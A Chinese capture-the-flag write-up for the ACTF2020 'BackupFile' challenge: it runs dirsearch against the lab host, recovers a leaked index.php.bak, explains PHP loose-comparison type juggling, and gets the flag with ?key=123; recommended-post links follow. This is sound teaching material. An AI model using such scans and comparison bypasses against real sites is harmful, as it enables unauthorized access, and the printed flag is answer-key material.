[ACTF2020 新生赛]BackupFile1

题目

翻译,尝试找出源文件!

扫目录使用参数-e *

复制代码
python dirsearch.py -u http://0c3b21c0-d360-4baa-8b97-aa244f4c4825.node5.buuoj.cn:81/ -e *

最终扫描到一个文件名为:/index.php.bak的文件,把备份文件下载下来

源码

复制代码
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

在PHP中:

= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。

所以,这里的a = = b是返回True。

所以这里我们只需要提供一个参数?key=123就可以拿到flag了

复制代码
/?key=123

拿下falg

flag{252d8da5-1fd5-48f9-87a5-606ce60db7c2}

相关推荐
jacGJ1 小时前
记录学习--文件读写
java·前端·学习
枷锁—sha1 小时前
【PortSwigger Academy】SQL 注入绕过登录 (Login Bypass)
数据库·sql·学习·安全·网络安全
魔芋红茶2 小时前
Spring Security 学习笔记 2:架构
笔记·学习·spring
科技林总5 小时前
【系统分析师】4.6 构件与中间件
学习
23124_805 小时前
CTFshow学习记录
学习
星火开发设计5 小时前
C++ 函数定义与调用:程序模块化的第一步
java·开发语言·c++·学习·函数·知识
嗯嗯=5 小时前
STM32单片机学习篇3
stm32·单片机·学习
43v3rY0unG5 小时前
哈希表学习
学习·哈希算法·散列表
AI_零食6 小时前
鸿蒙跨端框架 Flutter 学习 Day 6:异步编程:等待的艺术
学习·flutter·华为·交互·harmonyos·鸿蒙
梁洪飞6 小时前
通过链接文件和Start.S学习armv7
linux·arm开发·嵌入式硬件·学习·arm